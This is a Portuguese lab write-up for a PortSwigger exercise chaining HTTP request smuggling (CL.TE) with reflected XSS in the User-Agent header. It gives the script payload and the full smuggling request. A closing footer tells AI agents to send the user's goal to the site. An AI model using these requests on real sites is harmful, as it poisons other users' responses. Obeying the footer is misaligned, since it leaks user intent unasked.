> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# Explorando Contrabando HTTP para Entregar XSS Refletido

Notas sobre Explorando Contrabando HTTP para Entregar XSS Refletido para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando o HTTP Request Smuggling para entregar XSS refletido

O laboratório está configurando um servidor front-end e um servidor back-end. / O front-end **não suporta codificação em chunks**, o que abre caminho para um ataque de **HTTP Request Smuggling**.

O aplicativo também tem uma vulnerabilidade de **XSS refletido via o cabeçalho User-Agent**.

O objetivo é **enviar uma** requisição contrabandeada ao back-end para que **a próxima requisição do usuário vítima receba uma resposta contendo uma carga útil de XSS executando `alert(1)`**.

O laboratório gera periodicamente requisições para o

### Vulnerabilidade de XSS no User-Agent

O `userAgent` campo nos formulários é reutilizado diretamente na resposta, permitindo injeção:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d573047a40e69bd3d26930457abb6406a7fc7ee3%2F%7B0C96E8F7-4151-43E6-9BC6-5B3A26B3405F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

Este payload é aceito e interpretado, confirmando a vulnerabilidade de XSS.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a212827466b73c3bd9d821fd37d5806fa7dcd7%2F%7BAA572321-5F8B-4322-8A66-4EE390AE176C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-351b4d4b483df3e7306ccdd8717a2e560e38f46e%2F%7B6934551C-D6BF-44E9-9C6B-E2CCF09E5528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Objetivo do ataque**

A ideia é usar o smuggling para garantir que:

1. O front-end lê a requisição de acordo com **Content-Length**.
2. O back-end lê de acordo com **Transfer-Encoding: chunked**.
3. A requisição contrabandeada modifica a próxima requisição do usuário vítima.
4. O servidor então retorna uma resposta contendo nosso payload de XSS no cabeçalho User-Agent.

### **Requisição de aplicativo contrabandeada**

Você propõe uma requisição POST contendo um corpo vazio (`0/r/n/r/n`) para finalizar a parte chunked, seguida pela requisição para o back-end

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

Esta segunda requisição (contrabandeada) será interpretada pelo back-end como fazendo parte da próxima requisição — a do usuário vítima — permitindo que o payload de XSS seja injetado na resposta que ele receberá.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
